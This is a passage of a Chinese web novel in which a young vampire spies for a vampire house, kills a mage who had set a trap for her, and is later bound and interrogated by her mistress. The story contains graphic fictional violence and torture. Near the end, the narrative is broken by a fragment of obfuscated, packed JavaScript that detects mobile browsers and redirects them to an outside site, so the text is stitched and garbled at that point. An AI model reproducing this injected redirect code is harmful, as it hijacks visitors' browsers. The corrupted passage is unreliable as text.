我考虑了一下他的话。能出去意味着卡迪兹家族在时机成熟时能更容易联系到我。 “你真的能保护我不受梅卢西娜的伤害吗？她给我的感觉可不是那种轻易认输的人。她可能会折磨你，直到你改变主意。” “当你意识到我伤害了你，你有多想动手打倒我？” “我……我……” 博杜安说得对。我内心那股总是驱使我诉诸暴力的掠夺本性，奇怪地沉默了。 “吸血鬼不会直接攻击人类仆人，除非他们走投无路或者失去理智。这是从你重生那天起，就刻在你们这类人脑海里的规则。你的本能都会阻止你这么做。” 他说得没错。我甚至都没有动手报复的冲动。我的思想被污染到什么程度了？这还是我的思想吗？ “梅卢西娜不会伤害我，而且她也知道惹恼夫人太多会有什么后果。那么，阿丽亚娜，我们达成共识了吗？” “我不会做任何让我仅存的一点尊严荡然无存的事。希望这一点我们说清楚了，博杜安。” “当然，阿丽亚娜，”他冷笑着说，“我不会强迫你去卖身。我有其他特工做那种事。” 我又嘶了一声，但其实心里并没有真的生气。 “怎么样？” 我叹了口气。解释一下我的行为对我来说没什么损失。 “这个团伙从一开始就四分五裂。首领有三个出身低微的同伙。其他人都是富家子弟，只是来玩玩叛逆。让他们直面夜晚的现实很容易。在那之后，可以说他们的兴致就被破坏了，而我只需收拾残局。” “我明白了，所以你认为实现这一点，让他们的‘纸牌屋’倒塌的最佳方式，就是绑架他们中的一员？” “也许不是最佳方式，但肯定是最快捷的。没什么比绑架更能让人清醒了。更不用说我还想找点吃的。” 他放声大笑，然后说：“跟我走走。” 当我们走到法国区周围灯光更亮的地方时，博杜安轻声开口了。 “你和我想象的完全不一样，你知道吗？” “怎么不一样？” “我见过很多刚变成吸血鬼的雏儿，大多数一开始就像没头脑的野兽，几乎和机器人没什么两样。过了一段时间后，他们才会恢复一些人性。而你一开始就像你以前的自己，现在正越来越像一个真正的吸血鬼。” “我的情况肯定不是独一无二的。” “确实不是；不过，这仍然相当罕见。我想不出还有谁像我第一次见到你时的你那样……充满生气。” “我不想再想起那一刻。” 他轻笑起来。 “还有你的力量很弱这个问题。尼拉里大人孕育出的后代，在短短几年内就能与骑士小队抗衡。” “给我点时间。” 他摇了摇头。 “不，阿丽亚娜，我已经能看出来，你达不到那样的成长速度。你比大多数雏儿都快，甚至比一些资深吸血鬼还快，但你的力量几乎和人类一样。” 我在想怎样才能变得更强大。要是我能快到躲开梅卢西娜的黑暗力量，然后抓住她的脚踝，把她…… 在我们走到城市边缘的这段时间里，我一直在想象那个红发泼妇被我撞向墙壁的场景。然后我突然意识到一件事。 “博杜安。” “什么事？” “你说你让奥戈泰做这类工作？” “没错。他的背叛引发了不少麻烦，你可以想象得到。” “你料到他会背叛吗？” “没有。他鼓起勇气反抗的时候，我惊呆了。你知道，奥戈泰已经有好几个世纪的历史了。在我出生之前，他就一直遭受兰开斯特家族的虐待。” “也许是梅卢西娜把他逼到了绝境。” 博杜安的笑声引得几个晚归的狂欢者转过头来。 “啊，对，我能相信这一点。你知道，奥戈泰曾是一群入侵匈牙利的东方战士中的一员。他犯了个错误，袭击了当地的一位领主，结果遭到了报复，你也能猜到是什么。奥戈泰缺少某种东西。他永远也成不了主人，以后也不会，就算他还活着。” “领主们能判断出哪些人是孕育新吸血鬼后代的最佳人选吗？” “如果有人能，他们肯定会保密。有些家族大量招募法师，因为法师能保留一些自身的能力，但对于其他人，我不知道。我不知道是什么让一个吸血鬼比另一个强大得多。” “我明白了。” 我们回到家时，一个仆人匆匆跑进去，不一会儿，梅卢西娜像从盒子里蹦出的恶魔一样冲出门来。我突然想到，我忘了告诉她我不会去上她那像闹剧一样的课了。哎呀？ 她和博杜安对视着，肯定传递了某种无声的信息，因为很快梅卢西娜就退回去了。门关上的时候，我瞥见了她的脸。那上面扭曲着最恶毒的愤怒。 看你接下来怎么办，女巫。 9. 红纱之祸：死亡陷阱 茂密的树冠将森林地面笼罩在阴影之中。我在像马车一般粗大的树干间飞奔穿梭，竭尽全力躲避着从枝叶缝隙中透下的阳光。这遮蔽并不完美，我的皮肤上早已布满水泡。那残酷的光线直直穿透衣物，就好像它们根本不存在一样。 “啊！” 我尖叫着，发出嘶嘶声，又一阵风吹动树枝，我暴露在了这残酷的光线之下。 “你应该放弃，你只是在拖延不可避免的结局。” 我想让他闭嘴，但他站在光亮中，嘲笑着我。在这儿，他看起来像个人类，留着浓密的棕色胡须，姿态高贵，宛如一位真正的古代君王。 “你的同类排斥你，人类也排斥你。就连太阳本身都想把你从这个世界上赶走。” 我一边躲避，一边飞奔，时间不多了。太阳已经开始西沉，阴影越来越长。 “毕竟，枪打出头鸟。你只是在延长自己的痛苦。” 我得继续跑。我只要跑到那座房子就行。进去就安全了。 “你以为你的家人会欢迎你？蠢货。你不是阿丽亚娜，尽管你冒用了她的名字。她在那晚就死了，孤独又绝望。你只是对她的回忆的最后侮辱。” “你说谎！我就是我！” “你怎么能如此确定？你在镜子里看过自己吗？” 太阳已经快接近地平线了，但我撑不到黄昏。森林的枝叶分开，将我暴露出来。在最后一刻，我猛地躲到一棵树后，后背紧紧贴着树皮。那致命的光线开始绕过树干蔓延，当光线触碰到我手臂边缘时，我大声呼喊起来。 “你永远都是个被放逐者，怪物，不管你如何哀求或屈服。” 我开始尖叫。几个声音加入进来，齐声叫我外来者，然后只有炽热的死亡。 我惊醒过来，迅速重复着这句如今已经无比熟悉的话。我来这儿已经两个月了，这两个月里，我扮演着打手和跑腿丫头的角色。我甚至还小有名气了。 我想知道为什么我会做这么多噩梦，其他人是否也一样。不幸的是，我宁愿用生锈的烤肉扦扎自己的脚，也不愿跟这儿的任何人分享这个细节。所以，目前我的问题依然没有答案。 身体里的幻觉疼痛破坏了我的冥想。我希望我能哭出来，但我发现自己无法强迫身体做出这个反应。我忍受着被烧焦的记忆，仅仅一分钟后，更强烈的需求就取代了这种痛苦。 我想知道年长的吸血鬼是把 “渴望”（对鲜血的渴望）当作一位老朋友，还是都被它逼疯了。鲍杜安证实，初拥的吸血鬼，尤其是非常年轻的那些，会消耗更多鲜血。我只能希望自己能保持良好的自控力，至少坚持到度过 “婴儿期”。 和每个夜晚一样，我花时间好好地洗了澡，穿戴整齐。我拼尽全力克制 “渴望”，花时间打理自己和自己的外表。我甚至还买了一把梳子。 在去牢房绕了一小圈后，我来到了鲍杜安的办公室。 “啊，阿丽亚娜。进来，进来。” “晚上好。我准备好参加会议了。” “啊，是的，嗯，不幸的是，你不用参加了。” 我立刻僵住了。在我来这儿的这段时间，我一直非常认真地扮演着间谍的角色。我列出了他们所有的仓库、银行和商业伙伴。每一个关键盟友、每一个谎言和每一个弱点，我都一丝不苟地记录了下来。 无意中听到的一句话、随意放置的机密文件、一次意外的拜访，每一项活动都是发现更多信息的机会。我写了报告，并且藏得很好。如果这些报告落入加的斯家族手中，他们就能精准地打击那些堕落者。 直击他们最痛的地方：他们的骄傲和他们的钱包。鲍杜安发现我的计谋了吗？我觉得自己已经很小心了…… 我甚至准备了一个逃生包，藏在一座废弃教堂毁坏的钟楼下面。 我觉得这其中的讽刺很有意思。 鲍杜安紧张地看着我。他不知道我的真实身份。他以为我被冒犯到了。 “这不是惩罚，事实上，我有个奖励给你。今天，出了点状况。我们的一个妓女很不幸地嘲笑了一位顾客的□□。” “在德洛雷街吗？” “不，很不幸，是在红纱妓院。” “啊。” 那是兰开斯特家族的高档妓院，这意味着被冒犯的一方既有钱又有权。 “问题是，那个男人，一个叫西蒙?亨利的，自己动手‘讨回公道’，把她给毁容了。这可不行。他现在在自己的庄园里，有六个守卫。” “你希望我去那儿恐吓他？” “不，阿丽亚娜，我希望你杀了他。他发表了一些公开声明，还要求赔偿。我不能容忍这种事。” “你希望我怎么做？” “随你便。你完事之后我会把房子烧了。民兵们今晚知道要避开这个地方。” “这次我能拿把枪吗？” “不行，阿丽亚娜，我的想法没变，我们不用枪。” 一群老古董。我哼了一声，然后朝门口走去。 “那我这就出发。” “好好享受吧。” 我走出办公室时，目光不可避免地被一个下楼的身影吸引住了。 穆尔夫人不该出现在这儿。这片土地年轻又放荡。它的财富是从原住民部落掠夺来的，是无数奴隶违背自己的意愿，被关在漂浮的 “棺材”（指运送奴隶的船只）里带到这儿，用他们的劳动从土地里挖掘出来的。 这里还不是适合复杂阴谋和隐晦威胁的地方，至少现在还不是。她的出现就反映了这一点。就连她的裙子都不适合这闷热的天气。 她无视我，很快就跨过了门槛，后面跟着一脸得意的梅卢西娜和总是一脸厌烦的兰伯特。他们要去和埃孔家族的代表开个会，讨论一些人肉市场的问题。 我本应该作为 “保镖” 去那儿的。那会是个和他们见面的机会，或许还能知道加的斯家族在搞什么名堂。好吧，下次总会有机会的。 我回到房间换衣服，穿上一件撩人的衣服，披上披肩遮住肩膀。现在我看起来就像个街头妓女。要是爸爸看到我…… 不！我必须把这身衣服当作铠甲。我的外表既是武器也是诱饵。西蒙?亨利期待从妓院得到一些赔偿，这就是他将会看到的，一个合适的使者。我会按照自己的规则保持尊严，衣服已经不再是我所关心的了。 我带着护腕和一个沉重的袋子离开房子，沿着灯火通明的街道走。 我在跑腿的时候积攒了足够的东西，可以维持一段时间，问题是，就算没有这个护腕，我也会被追捕并消灭。我需要一个彻底的逃脱计划。 因为我们要去镇上的富人区，而一个孤身女子会引起不必要的注意，所以准备了一辆马车。我们行驶在路上，我第一次庆幸自己的身体冰冷。如果不是这样，这封闭的空间会让人窒息。 大约一刻钟后，我们在一座庄园前停了下来，马车离开了。这座维多利亚风格的房子没有太多装饰，但花园维护得无可挑剔。 爸爸总是说，低调的财富标志是良好教养的象征，我很难把这座雅致的住宅和一个因为妓女嘲笑他的男子气概就毁了她容的男人联系起来。 也许这是他父亲建造和维护的？ 我穿过空旷的入口，来到了一扇木门前。在这样的夜晚，这里应该有灯光和仆人，但这个地方却异常安静，让人起疑。 我开始警惕起来。 我敲了敲门，门立刻就开了。一个长相粗鲁、满脸怒容的男人默默地打量着我。我行了个屈膝礼。看来他们在等我。 那男人哼了一声，示意我进去。 就是这里了。我本可以立刻动手杀人，但有什么东西阻止了我。这个守卫拿着警棍，没有其他明显的武器。他对我构不成威胁。但还有别的东西很危险。 就像吸血鬼有冰冷的气场一样，我感觉到一种明亮而多彩的气息，它来自房子更深处。 我很好奇。这到底会是什么呢？ 我跟着守卫走进一个布置简洁的舞厅，地上铺着厚厚的地毯。入口对面的墙上有几扇大窗户，只有一扇门，就是我进来的那扇。在我的左边，聚集着几把椅子，四个粗野的男人停下打牌，打量着这个新来的人。 在我的右边，一架做工精良的钢琴旁边，站着房子的主人。他坐在一张为这个场合搬来的皮制王座上。 他旁边的小咖啡桌上放着一壶烈酒，他身旁站着一个保镖，立刻吸引了我的注意。 他身材高大，肌肉发达，留着修剪整齐的胡须，身上携带的武器足以占领一个小镇。我一眼就看到他至少有两把枪和七把匕首。他甚至在室内还戴着头盔，像个没开化的野蛮人。 那多彩的气场就来自他。 我们目光交汇，他对我露出了一个极其怪异的微笑。 “你为什么不坐下呢？” 西蒙?亨利指着他面前一把普通的椅子问道。他穿着一件昂贵的衬衫和夹克，但这并不能掩盖他的啤酒肚。他的皮肤苍白如蛆虫，是那种白天从不出门的人的肤色，还布满了黏糊糊的汗水。他灰色的眼睛不敢与我对视。他吓得魂飞魄散。 一切都不对劲。 那些暴徒应该是色眯眯的，或者是冷漠的，而不是小心翼翼的。 亨利应该是得意洋洋、傲慢自大的，而不是惊恐万分的。 最后这个人不属于这里。 我的直觉和理智都坚定地认为这是个陷阱。更糟糕的是，这个保镖可能知道我是什么，而且他坚信自己能对付我。我想起加百利的追随者袭击城堡的情景。他们也有大量武器，并且受过使用武器的训练。但他们没有那种气场。 这个人是个法师。 如果我坐了这把椅子，我就又死定了。这种事不会发生。 我朝椅子走去，然后一脚把它踢向那两人。法师轻松地躲开了，但亨利被砸中脸，闷哼一声倒了下去。我向后退去，真是千钧一发。 “封印！” 一道白光在椅子原来所在的地方爆发成一个圆圈，差一点就击中我。房间里顿时一片混乱，人们大喊大叫。 法师掏出一把枪向我射击。我顺势倒地。子弹从我身边飞过。 我倒在一个目瞪口呆的守卫脚下。我站起身，一把划破他的喉咙。喷涌而出的鲜血分散了另外三个人的注意力。 他的血有股怪味，有什么地方不对劲。我嘶嘶叫着，抓住第二个守卫当作盾牌。紧接着，有什么东西刺进了我的身体一侧。 什么？ 我难以置信地低头看去。我的腰间有一道大口子。裙子被撕开，露出血肉模糊的伤口，暗红色的血渗了出来。我当作盾牌的那个人尖叫着，垂死挣扎。 法师竟然开枪打了自己的同伴！ 有个东西叮的一声掉在地上，我本能地看向它，就在这时它爆炸了。一声雷鸣般的巨响，一道白光让我失明，让我失聪。我扔掉那个人，捂住受伤的眼睛。 好痛，得逃出去。看不见了。 我身后有掩护。我向后退，抓住牌桌的边缘。我闷哼一声，把它掀翻，然后躲到后面。我往旁边移动，这时有什么东西咆哮起来。有人撞到我，摔倒了。我摸到一个肩膀，一个喉咙。我划开它。这血的味道还是不对。 桌上的那瓶酒味道也不对。他们喝了什么东西吗？ 我现在能听得更清楚了，但我的眼睛还是很疼。那里有窗户。可以逃出去。我抓住一具尸体，盲目地冲向墙边。能找到窗户。能冲破它。 “休想！封印！” 有什么东西撞到我。虽然不疼，但它用难以置信的力量把我推了回去。我撞到桌子上，桌子在我身下被压碎。一块碎片刺进我的后背。好疼。好渴。不能待在这儿。 我爬着远离法师。腰很疼。背很疼。在流血。需要血，但所有的血闻起来都不对劲。 啊，我终于又能看见了。 我转过身，一把飞刀呼啸着从我肩膀旁飞过，插进了地毯里。终于有一把像样的武器了。我把后背的木片拔了出来。刺得并不深。 法师又扔出几把匕首，我再次用尸体和桌子躲避和抵挡。我 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我不能待在这儿，我得动起来，但是…… 太疼了。 “啊，这反噬可真厉害。你这个狡猾的贱人！不过我得说，我相当失望。大家都说吸血鬼是存活了几个世纪的顶级掠食者，我还真期待一场精彩的战斗呢。可你在这儿，就是个只会靠速度的莽夫，而不是靠技巧。又差劲又可悲。” 说我是掠食者。没错，可行的计划。实施。 “好吧，看来我得找个骑士了。现在，有人告诉我刺穿心脏就能让你们这种家伙失去行动能力。至少我可以验证一下这个理论。” 没错，猎物，再靠近点…… “我敢说，杀了那个狼人都比这……啊！” 我动了。我压低身子，抓起一把匕首，刺进他的膝盖后面。这是弱点。然后跳到他背上，用爪子紧紧抓住。 “脉冲！” 有什么东西把我向后推，我撞到咖啡桌和亨利毫无生气的尸体上。 “啊，你这个贱人！啊，治愈！治愈！该死。” 太美味了。 “你会为此付出代价的！我本来打算给你个痛快，现在我想我要把你活活烧死。啊，该死！你等着瞧！” 我背对着法师，正吸食着亨利的血，这时发生了一些事。我能感觉到我的所有獠牙都在用力。我汲取的力量增加了十倍、百倍。这次没有愉悦的感觉。这次，只有生命，还有我活下去所需的力量。这次我不是在吸血。 我吞噬。 不到四秒钟，亨利就死了。当他最后一丝生命力从身体里被抽离时，我感觉到一股短暂的力量爆发。疼痛还在，“渴望” 也还在。只是现在都没那么重要了。 这么说这个人是个猎人？他觉得我是猎物？ 我不是野兽。我是个吸血鬼。 我站起身，看到法师正在给受伤的腿缠绷带。看到我的脸时，他的难以置信变成了恐惧。血还在滴。我露出一个可怕的笑容。 然后我把尸体朝他扔过去。 我用上全身力气，尸体飞了出去。法师咒骂着，躲开了。 我跳起来，伸出爪子扑过去。我撞到他身上，把他撞倒在地。 我又抓又挠，试图抓到他的脸。他的护腕挡住了我的攻击，但我还是在他没有防护的地方留下了伤痕。 “防……” 没门。我用一只手把他的两只胳膊都推向我，然后把手指刺进他的脸颊。我划破他的脸。鲜血流了出来。闻起来还是不对劲。 我越来越虚弱。 我能感觉到他在挣扎着拿什么东西。我坚持不了多久了。我的力量已经在减弱。 他掏出一个会发出轰鸣声的东西。我感觉有冰冷的东西穿透了我的腹部。 我无视他拿武器的那只手，挡开另一只手。我把一根拇指按在他的眼睛上，用力一推。伴随着一声可怕的碎裂声，他的眼球爆了，我把手指深深地插进他的头骨里。液体溅到我的脸上。里面的血…… 闻起来很可怕，但蕴含着巨大的力量。 力量正在迅速消逝。 我狠狠地咬下去，吸了一口。这血很强大，但里面也掺杂着某种灼烧我喉咙的东西。总体来说，还是血液的力量稍占上风。 我一拳又一拳地打在他脸上，一下、两下、三下。疼痛向我袭来，我倒在这具血肉模糊的尸体上。一切都很疼。自从我第一次死去以来，我都没感觉这么糟糕过。 然后，所有感觉都消失了。 我感觉很奇怪。 疼痛变得很遥远，“渴望” 也是。我原以为自己会变成一个疯狂的野兽，但事实上，我似乎饱足了。虽然受伤了，但饱足了。 我只能以一定的速度从这红色的液体（指鲜血）中汲取力量。 我的视野边缘越来越暗，我想起来了。这就是我第一次死亡时的感觉。那种滑落、放手的感觉。 “我的天啊，这简直是场噩梦！” 啊。 我现在想起来了，我我和法师只解决了四个守卫中的三个。 “魔…… 怪物！恶魔！” 最后一个守卫肯定是躲在某个角落里。我不怪他。不过他现在有点胆子了，拿了把刀，正慢慢靠近。 我完全动弹不得，身体…… 好冷。 睡意向我袭来。我只要闭上眼睛就可以…… 忘却一切，然而死亡是一生只有一次的经历。 好吧，对我来说是两次。 我可不想错过。 就在这时，有人敲响了舞厅的门。那个守卫像被烫到的女仆一样尖叫着跳了起来。呵。 一个黑人女性走了进来，她是个吸血鬼。她穿着皮裤和紧身白衬衫。虽说不太符合淑女风范，但说实话，她可没像我这样袒露着腹部。 “哇，真让我刮目相看。” 她露出血腥的獠牙，笑着说道。 10. 吸血迷困 这个女人全身上下都散发着掠夺者的气息。她的步态、姿态、嘴角，无一不在诉说着危险，但又透着一种优雅。我敢肯定，很多男人会觉得，为了她冒险也值得。 “你……你是谁——” 男人话还没说完，新来的女人就抽出一把匕首，随意一挥，割开了他的喉咙。她甚至都没正眼瞧他一下。 我能看到那些管子，闻到那股腐臭液体的味道。真烦人。 我几乎察觉不到那个女人走了过去。好累啊。只想闭上眼睛歇一会儿。 “撑住，小家伙。” 有什么东西跨坐在我身上，我眨了眨眼睛睁开了。是那个女人！她用大腿蹭着我满是污渍的裙子，找了个舒服的姿势。然后，她伸出一只手，伸进我的胸膛。 “呃！” “嘘，看着我，听我的声音。” 我凝视着她那双巧克力色的眼睛，眼中闪烁着戏谑的光芒。她在做什么，但我太虚弱了，无力反抗。 “不痛的，就好像你被松软的枕头包围着。” 有什么东西拉扯着我的肚子，但我却感觉不到疼痛。过了一会儿，这个陌生女人正检查着她那沾满鲜血的手中握着的一个银色小球。她吹了声口哨。 “抓得好，亲爱的！” 是吗？我皱起了眉头。 “你感觉舒服吗？” 我舒服吗？我想是的。我好想打个盹，但有什么东西让我保持清醒。真奇怪。 “那么，你认识追踪者贾斯珀吗？” 谁？ “我猜你不认识，小可爱。我说的是那个差点杀了你的法师。我猜是他，毕竟脑袋都快没了。这讨厌的家伙。他有个癖好，喜欢猎杀怪物和人类取乐，根本不管对方是否有罪。这次，他是自不量力了。我这可是一语双关哦。” 原来如此。 “嗯，你太安静了，我的小甜心。让我帮帮你。” 她从夹克里拿出一个小水壶，在我嘴边倒了一些。我都快忘了的灼烧感就这样被冲散了。她用一张干净的纸巾轻轻擦拭着湿润的地方。我试探性地舔了舔嘴唇。我还是有点迟钝，但现在能说话了。 “晚上好。” 女人先是一脸茫然，接着爆发出一阵大笑。 “啊，我的小鸭子，太可爱了！我叫纳米娜塔，但你可以叫我娜米。” “娜米……” “那么，你到底为什么会在这儿？我猜你不是来追踪那个追踪者的。” 说话好累。我微微转头看向那把破椅子和旁边的尸体。 “哦，那个混蛋。是你杀了他，对吧？干得好。不然我可进不了这屋子。” 她向前倾身。我们之间的距离变得暧昧起来，当她舔嘴唇时，我不禁打了个寒颤。 “我知道你不想跟那些兰卡斯特家的混蛋待在一起。你想加入我们吗？只要跟夸库说一声，他就会娶你。我们正需要人手，我的小宝贝。” 现在我肚子里没了子弹，能感觉到身体在努力自愈。那种迟钝感消退了一些，取而代之的是疼痛和愈发强烈的饥渴。我还是只能稍微动弹一下。 “绝不……再……受……别人摆布。” 她脸上的笑容消失了，取而代之的是懊悔和一丝羞愧。我的脑子清醒了些，这才认出她来。我逃出堡垒的时候，她和埃孔家族的代表在一起。她沉默了一会儿。我们都没动。我开始有点神志不清了。 一只手轻轻拍了拍我的头。锋利的爪子温柔地穿过我的头发，把发丝分开，没有缠住。这种感觉太让人放松了，我不禁颤抖了一下，放松了身体。 “嘘，好了，小家伙。我很抱歉。我忘了。好吧，我送你个小礼物，就当是为我刚才冒昧的提议道歉。” 我闭着眼睛，但突然闻到了什么。那是一种类似湿润泥土和香料的香气，一种充满异域风情的味道，让人想要随之起舞歌唱。 “我很好奇这是什么感觉。来，咬一口！” 我感觉到柔软的皮肤贴上了我的嘴唇。那股香味愈发浓烈，让人着迷。我太渴了。这虽然不是我真正需要的，但也能起点作用。 我的獠牙刺入了她的皮肤。 这和吸食人血完全不同。没有那种生命的涌动，也没有狂喜的感觉。我几乎没获得什么能量，而且不管得到什么，都感觉很迟缓。没有心跳将活力注入我疼痛的身体。但我得到的是力量。 如果说生命是延续我这该死存在的东西，那么我现在得到的是能让我做出不可思议之事的精华。我能明显感觉到自己变得更强了。我想我现在太虚弱了，所以哪怕一点点力量都很重要。 那个法师的血也有类似的效果。 吸食魔法生物的血能让我变强。 我终于明白为什么其他吸血鬼幼崽比我危险那么多了。我的主人给他们喂强大生物的血，甚至可能还有他自己的血。他们快速的成长一定侵蚀了他们的心智，把他们变成了天生的灾难。 太可怕了。 鲍德温说过，吸血鬼的力量会随着年龄增长，这意味着吞噬者和他的后代从食物中汲取的力量，比其他血族要多得多。 我不太确定这是不是大家都知道的事。但我敢肯定，在路易斯安那这里，没人知道这其中的影响有多大，而我也打算就这么瞒着。我担心要是有人发现了，会在我还没构成威胁前就把我除掉。 “够了，小家伙。”一个性感的声音说道。我乖乖地舔干净伤口。这次的经历对我来说太亲密了，我不太喜欢。我担心娜米夺走了我的初吻，或者说吸血鬼世界里类似初吻的东西。 “啊，我太喜欢冒险了！不过够了，亲爱的。我要把贾斯珀先生的尸体带走，然后就上路了。回头见！” 娜米一走，好像有什么东西断了，我立刻失去了意识。 “不，求你了，阿希尔，求你了……” “我跟你说过了，妹妹，没用的。” 一阵阴森的风刮过干枯的甘蔗地，扬起灰烬和尘土。天空被浓烟遮蔽得漆黑一片，我都分不清现在是什么时候了。 “求你了……我好渴！求你了……” 阿希尔拿着唯一的一壶冷水。他时不时喝上一口。我几乎能感觉到那水就在舌尖，近在咫尺，却又遥不可及。 “这都怪你，知道吗？要是你当初死得干脆点，我们也能有个了结，可你连这点事都做不好。” 一阵风把余烬吹到我破旧的裙子上。红色的火星落在我身上，开始冒烟。我已经能感觉到热气在灼烧我的皮肤。我挣扎着，但被束缚住了。我的胳膊被绑在一根深深插入地下的木杆上的铁链吊着。那熟悉的小木屋在不远处，仿佛在嘲笑我的无助，可它离我太远了，我只能勉强看到它烧焦的墙壁。它们还矗立在那里。 “阿希尔……” “你不信我。那好。你自己试试。” 我哥哥走近了。他宽阔的肩膀和强壮的身体曾经是我安全感的来源，可现在却成了威胁。我感觉他会很乐意用他那厚实的大手把我的骨头捏碎、把我的肉打伤，但他没有。相反，他把水壶拿到我干裂的嘴边。太好了！终于有救了！ 冰冷的液体终于冲进我的嘴里。那味道就像新鲜的山泉水。我贪婪地大口吞咽着，可什么都没发生。 “怎么回事？” “我就说吧，我就说没用的。现在只有痛苦和折磨才能满足你，你这个披着我妹妹皮囊的怪物。那就尽情享受吧。” 阿希尔拿出一把猎刀，慢慢抵在自己的颈动脉上。 “等等！阿希尔，不要！你在干什么？！” 刀划了下去，一股鲜血如喷泉般溅到我身上和地上。如果我不……我不……他就会死。 我需要它，我太需要了。我受伤了，而且非常……渴！ 渴！ “啊！” 啊，好痛！怎么回事？我的解脱在哪里？我连片刻的喘息都没有吗？ 我动弹不得。 我费力地睁开眼睛。我被粗绳子绑在床上，绳子把我和床垫缠在一起。我身上还穿着昨天那件破裙子，外面裹着层层绳子，散发着一股怪味。我的脸上沾满了干涸的血迹，一动就会裂开。 这手法太业余了。我几分钟就能挣脱，然后找个人吸干他的血。我扭动了一下，疼痛加剧。我的胃疼得厉害，我甚至觉得自己又中枪了。 啊，原来是这样。我昨天受的伤肯定还没完全好。要是我还活着，这样的伤一个小时就能要了我的命。我会在自己的血泊和内脏中咽下最后一口气。 不过，这被诅咒的生命还是有点好处的。 就在我用爪子弄断第一个绳结的时候，我听到了脚步声。门开了，是摩尔夫人。 她一如既往地威严，看到我时不满地皱了皱鼻子。我真讨厌她和她那莫名其妙的傲慢。要是她也弄脏自己那双娇贵的手，她身上也会有内脏和腐血的味道，而不是像只孔雀一样在这半开化的沼泽里招摇过市，让别人为她的成就卖命。 □□。 “我在你脸上看到的是反抗吗，小吸血鬼？” 现在不是对抗的时候。我会逃走的，而且很久很久以后，我会把她脸上那副表情抹去。 “不，主人。” 我不能让傲慢毁了我。我昨天意识到，凡人在面对痛苦时其实很幸运。人能承受的伤害是有限的，除非有特别厉害的折磨者，否则身体很快就会支撑不住。 而吸血鬼则能承受太多折磨，多到能把人逼疯。 我可能比昨天更强了，但在摩尔夫人面前，我还是一只小麻雀，而她是老鹰。我还需要很多时间才能和她抗衡。我要耐心。我必须耐心。我要像主人一样让人害怕，哪怕这需要一千年。 我会看着那个自负的女人在我面前垮掉。 “鲍德温向我保证过你能派上用场。但现在我觉得你骗了他，你这个下贱的小□□。他不像我这么了解你们这种人，大概是跟凡人打交道太久了。现在，你把和埃孔家族的所有交易都交代清楚。” 什么？ “我和埃孔家族没有任何交易。” “是吗？” “是的。一点都没有。” “那你怎么解释纳米娜塔被看到从我们发现你昏迷的那栋楼里出来？” “自从逃出堡垒后，那是我第一次见到她。” 我把昨天发生的事说了一遍，但没提自己力量增强的事。 “你说你杀了这个叫贾斯珀的人？徒手一个人杀的？” “我也不是完全没武器。我用了他的飞刀。” 她轻蔑地哼了一声，鲜红的嘴唇因不屑而扭曲。 “像个没尊严的乞丐一样捡起凡人的武器？这么说，你这个故事倒有点可信度了。” 我最后陷入险境，身上只有一条披肩当武器，这能怪谁？哼！这个女人就算被事实打脸，也不知道什么是诚实。 不过…… 她刚才是不是暗示她分不清真话和假话？这可是个重大消息！这意味着我能瞒着她我的小计划。但我还是得小心，她能活到现在，肯定很狡猾。至少，就凭她那副德行，不狡猾可不行。 “但指望你这种出身的人说实话？你肯定觉得我很蠢，丫头。” “我向你保证，我和埃孔家族没有任何交易！我甚至拒绝了纳米娜塔的提议。” “哈！我就知道。什么提议？” 我不是故意说漏嘴的。我又被愤怒冲昏了头脑。 “嫁给夸库大人。” “哈！哈哈哈，这对你来说肯定很有吸引力吧，你这个不知羞耻的□□！用委身于这个野蛮人的方式换取自由？是什么阻止了你？是想到只能做他的二老婆？” “嘶！” 看来希梅娜错了。吸血鬼也有种族歧视，只是不当面表现出来而已。 “确实，我之前还以为你够狡猾，能搞出这种交易，看来是我错了。你确实有点小聪明，但还不足以成功算计我们。” 我沉默不语。我终于看到这场折磨的尽头了。我只希望这个讨厌的女人赶紧离开，这样我就能安心去猎食了。 “但背叛是不可容忍的，不管多小的背叛都不行。我很确定你那糊涂脑袋里肯定有什么阴谋，现在就说出来。” “什么？” “你有逃跑的计划。你肯定有，等你准备好分享了，我就要听。别担心，姑娘，我带了点轻松读物，等的时候可以消遣一下。 你要知道，我的血管里流淌着王者的血液。在高位长大的人知道用什么方法能达到目的，还不用弄脏自己的手。在这种情况下，方法就是耐心；所以我们就等着吧。” 摩尔夫人不理会我的抗议。她坐在我的椅子上，在我的桌子旁，从一个小袋子里拿出一本书，开始读了起来。 我不舒服地扭动着。我的胃还是很疼，不过没之前那么厉害了。但我的饥渴…… 它从胸口开始，在胳膊的高度。然后向上向下蔓延，一直到喉咙和肚子。那是一种瘙痒、灼烧和渴望交织的感觉。没有什么能与之相比，人类的任何经历都无法相提并论。 我小时候，曾尽可能长时间地端着一个沉重的盘子。一开始，感觉很轻松，接着就不舒服了，然后开始疼，最后几乎难以忍受。如果再坚持一会儿，我的整个世界就只剩下端盘子这件事了。 现在的情况有点类似，就像被蜜蜂蜇和被魔法银匕首刺伤有点类似一样。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054917|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 几分钟后，我就开始翻滚，不顾肚子上的疼痛，公然挣扎着想要挣脱束缚。我忍不住。 半小时后，我开始嘶嘶叫和哼哼。摩尔夫人让夏洛特拿来沉重的铁链，把我像裹在茧里一样绑了起来。 之后，她才读了几页书，我就开始求饶了。 “什么要求都行？” “是的！是的！求你了，求你了！” “说说你和埃孔家族的交易，我现在就要听。” “根本没有交易，你——啊！” “但你肯定有逃跑的地方。” “我……” “嗯？” “是的！是的，该死，我有。我有个计划。” “你的计划是什么？” “我存了些钱！我拿着钱就走！” 我已经快失去理智了，只能抛出我最孤注一掷的计划。我把它当作诱饵，当作牺牲品。 “你偷了我们的钱？” “不……不是的，主人，我拿的是你的敌人的钱。仓库里那些人！剑鱼帮、□□犯和逃犯。我拿了他们的钱！” “噗！哈哈哈，哦，这算战争战利品？哦，太有意思了。好吧，你可能比我以为的要稍微机灵点，但我得问问，你以为你能躲过之后的追捕吗？” “呃，那些钱够我坐夜班车。然后我就跑。” “我问的是你胳膊上的那个护腕，你这个没脑子的蠢货。” “我……” “嗯？” 